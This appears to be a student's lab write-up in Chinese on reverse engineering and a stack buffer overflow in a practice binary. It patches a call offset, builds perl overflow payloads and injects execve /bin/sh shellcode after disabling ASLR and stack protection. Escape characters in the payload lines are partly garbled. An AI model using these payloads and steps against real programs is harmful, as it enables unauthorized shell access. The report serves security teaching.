zoukankan      html  css  js  c++  java
  • 20181207朱涛《网络对抗技术》Exp1 PC平台逆向破解

    一、逆向及Bof基础实践说明

    1. 实践目标:

    • 本次实践的对象是一个名为pwn1的linux可执行文件。

    • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shel;正常情况下这个代码是不会被运行的,我们实践的目标就是想办法运行这个代码片段。

    • 学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    2. 基础知识

    (1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    (2)掌握反汇编与十六进制编程器

    · 反汇编指令

    objdump -d <文件名>

    · 在gdb调试过程中反汇编

    disas/disass/disassemble <函数名>

    · 进入十六进制编辑模式

    %!xxd

    · 切换回原模式

    %!xxd -r

    3. 其他任务

    · 能正确修改机器指令改变程序执行流程:详见下方实验解析

    · 能正确构造payload进行bof攻击:详见下方实验解析

    二、实验操作及具体步骤

    通过 sudo hostname <姓名拼音> 命令修改主机名为本人姓名拼音,而后进行后续实验。

    (一) 直接修改程序机器指令,改变程序执行流程

    1. 下载pwn1文件,并通过 cp pwn1 pwn20181207 命令复制文件。

    2. 通过 ./pwn20181207 命令运行文件,查看程序原本功能为简单回显任何用户输入的字符串,截图如下:

     3. 通过 objdump -d pwn20181207 | more 反汇编文件(more为分页指令),其中第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。

     4. 分析上图中的汇编代码,当主函数执行到 call指令时,EIP指令指针永远指向下一条要执行的指令,所以此时,EIP寄存器中存储的地址为0x080484ba;程序按照正常流程执行时,应跳转到foo函数,foo函数的入口地址为0x08048491, 0x08048491 - 0x080484ba = 0xffffd7 ,所以相对偏移量为 d7 ff ff ff (小端模式),call指令的机器指令为 e8 。

     5. 修改机器指令的思路:我们想利用主函数中的call指令,让主函数跳转到getshell函数中。依据上述的分析,我们此处只需要修改偏移量即可,所以本题的问题转化为求偏移地址的值。getshell函数的入口地址为0x0804847d,所以偏移量为: 0x0804847d - 0x080484ba = 0xffffffc3 。由于小端模式,我们要将偏移量修改为 c3 ff ff ff 。

     6. 通过指令 vim pwn20181207 打开pwn20181207文件发现全是乱码,先按下 Esc 将鼠标移至最后一行,并输入 :%!xxd ,将显示模式切换为16进制模式,通过输入 /e8 d7 查找要修改的代码,找到后将其前后的内容和反汇编得到的机器指令进行对比,确认是地方是正确的,按下回车键,通过光标定位到即将修改的指令处,此处修改有两种方法:方法一,直接删除d7,输入c3;方法二,按下字母 r 进行替换字符,截图如下:

      7. 通过 :%!xxd -r 将十六进制模式转换为原格式,并输入 :wq 保存退出。

     8. 反汇编验证,发现偏移地址已经改变,截图如下:

     9. 通过代码 ./pwn20181207 运行验证,修改后的pwn20181207文件可以执行命令行功能,实验成功,截图如下:

     (二)通过构造输入参数,造成BOF攻击,改变程序执行流

        · 当程序调用时,会形成自己的栈帧。但是foo函数的缓冲区具有Bufferoverflow漏洞,即向这个缓冲区填入超出长度的字符串,超出的内容会溢出并覆盖相邻的内存,当这段字符串精心设计后,就有可能会覆盖返回地址,使返回地址指向getshell,达到攻击目的。

        · foo函数读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。

     1. 通过 cp pwn1 pwn2 命令复制文件,并通过指令 objdump -d pwn2 | more 反汇编pwn2文件,分析foo函数存在的漏洞,截图如下:

     2. 分析foo函数: sub $0x38,%esp 表明预留存储foo函数本地局部变量的地址空间大小为0x38, lea -0x1c(%ebp),%eax 表明预留的输入缓冲区大小为0x1c(即十进制的28个字节),堆栈结构如下图所示,ebp寄存器的地址空间大小为4个字节,即:当向缓冲区输入超过28个字节的内容就会发生缓冲区溢出,第33、34、35、36字节会覆盖EIP寄存器,使指令跳转到新的覆盖地址。

     3. 使用gdb调试程序,若输入的字符串小于等于28个字节,那么程序正常运行;若输入的字符串大于28个字节,则会报错,截图如下:

    4. 通过指令 info r  查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,并以小端模式存储:

     5. 构造输入字符串:将第33、34、35、36个字节改为getshell函数入口地址 0x0804847d 的小端模式 7d 84 04 08 ;但由于我们无法通过键盘输入 x7dx84x04x08 这样的16进制值,所以我们使用输出重定向“ > ”将perl生成的字符串储存到文件input中,完整的命令如下:

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input

    请注意:此处一定要加 x0a , x0a 表示回车没有x0a就相当于输入完字符串没有回车,即未让终端接收这个输入;若执意在此处不加 x0a ,则在程序运行时需要手工按一下回车键。

     6. 使用16进制查看指令 xxd 查看input文件的内容,确认无误后用 (cat input;cat) | ./pwn2 将input中的字符串作为可执行文件的输入,攻击成功!截图如下:

     请注意,此处双cat命令的作用为:将input文件中的内容显示出来,并将显示出来的内容通过管道符输入给pwn2;同时让程序停在此处,不要退出。

    (三)注入shellcode并执行

     1. 准备一段shellcode,shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode;在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。本实验中使用提前生成好的shellcode如下:

    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

     2. 进行准备工作,修改配置:

    execstack -s pwn1    //设置堆栈可执行(原本默认的堆栈是不可执行的,但由于我们即将向堆栈中注入shellcode,所以需要修改堆栈为可执行的)
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space     //查看当前地址是否已关闭随机化,若值为“2”,则未关闭
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化;如若不关闭,每次堆栈地址均不同
    more /proc/sys/kernel/randomize_va_space    //再次查看

     在实际操作中,需要在上述准备操作前安装prelink;“关闭地址随机化”需要启用管理员模式,截图如下:

      3. 构造需要注入的payload,Linux下有两种基本构造攻击buf的方法:

    retaddr+nop+shellcode    // RNS方式
    nop+shellcode+retaddr    // NSR方式

     因为retaddr在缓冲区的位置是固定的,shellcode要么在前面,要么在后面;当缓冲区较小时,就把shellcode放在后边,当缓冲区较大时,就把shellcode放在前边。

    · 请注意Nop空指令的重要性:一为是了填充,二是作为“着陆区/滑行区”,即:我们猜的返回地址只要落在任何一个nop上,由于nop执行空操作,便自然会滑到我们的shellcode区,达到攻击目的,这相当于降低了寻找shellcode入口地址的难度。

     4. 分析foo函数,挖掘shellcode起始地址;对foo函数进行反汇编,结果如下:

     1  Dump of assembler code for function foo:
     2     0x08048491 <+0>: push %ebp
     3     0x08048492 <+1>: mov %esp,%ebp
     4     0x08048494 <+3>: sub $0x38,%esp
     5     0x08048497 <+6>: lea -0x1c(%ebp),%eax
     6     0x0804849a <+9>: mov %eax,(%esp)
     7     0x0804849d <+12>: call 0x8048330 <gets@plt>    
     8     0x080484a2 <+17>: lea -0x1c(%ebp),%eax
     9     0x080484a5 <+20>: mov %eax,(%esp)
    10     0x080484a8 <+23>: call 0x8048340 <puts@plt>
    11     0x080484ad <+28>: leave
    12     0x080484ae <+29>: ret

     · leave指令相当于:(1)mov %ebp,%esp (2) pop %ebp ,第一条指令的含义是将原EBP栈指针寄存器中存储的地址传送至ESP寄存器中,让ESP指针指向系统栈最上方栈帧的栈底;第二条指令的含义是将原来存储main函数栈底的地址(现已经被覆盖)弹出,此时的ESP指针位于EIP寄存器的起始地址处,了解这一点至关重要!对于后面单步调试大有益处,此时应已经明确,若采用NSR模式,则在ESP地址的基础上减32个字节(28个字节为缓冲区预留空间 + 4个字节存储原本main函数的栈底地址)即可来到经过NOP指令填充后的payload区;若为RNS模式,则跳转的目的地址则在ESP地址的基础上加4个字节,指向即为shellcode。

     5. 在本实验中,NSR模式无法获得成功,其中的原因在此处很难做出精准解释,也特别欢迎大家在博客下方留言。

     其实本实验到此处,便可以直接对pwn3进行gdb调试,并对foo函数反汇编,找到返回地址至于shellcode首位。但是理论分析并不一定总是完美的,而且老师的方法中有很多值得我们学习的知识点,下面将直述成功的案例:

    (1)打开一个终端,在shellcode指令前填充NOP指令如下,此时第33、34、35、36字节的内容为1234:

    perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    (2)注入 (cat input_shellcode;cat) | ./pwn3 

    (3)打开一个终端通过指令 ps -ef | grep pwn3 查看执行文件进程号,发现进程号为2444

    (4)在开启的第二个终端里启用gdb调试进程, attach 2444 与进程建立连接。

    (5)输入指令 disassemble foo(或 disass foo) 对foo函数进行反汇编。

    (6)然后设置断点,来查看注入buf的内存地址,指令为 break *0x080484ae 。

    (7)回到开启的第一个终端手动回车一下,然后返回开启的第二个调试的终端,输入指令 c 继续。

    (8)接下来输入指令 info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据,栈顶地址为,通过指令 x/16x 0xffffd10c 以16进制形式查看 0xffffd10c 地址后面16字节的内容,发现x4x3x2x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd10c+4=0xffffd110 。

    (9)修改代码为,截图如下,实验成功!

    perl -e 'print "A" x 32;print "x10xd1xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

     三、实验感想

    本次实验是第一次深入理解缓冲区溢出攻击的原理,同时进一步增强对于堆栈的了解,感觉受益匪浅。但nc的实现具有局限性、NSR构造payload为何不成功,尚不清楚原因,欢迎老师和各位同学批评指教!

  • 相关阅读:
    【Android】升级ADT 22 引发的错误
    【Android】使用SearchView时软键盘不支持actionSearch的问题
    Mac 升级 OS X 10.8.2 后 VirtualBox 无法启动的问题
    2012年总结
    【Andorid X 项目笔记】魅族照片剪切问题(4)
    【读书笔记】浪潮之巅
    ormlite更改数据库默认位置
    Android实用代码七段(二)
    Android实用代码七段(三)
    【Android】嵌套Fragment无法接收onCreateOptionsMenu事件的问题
  • 原文地址:https://www.cnblogs.com/zero-legend/p/14536623.html
Copyright © 2011-2022 走看看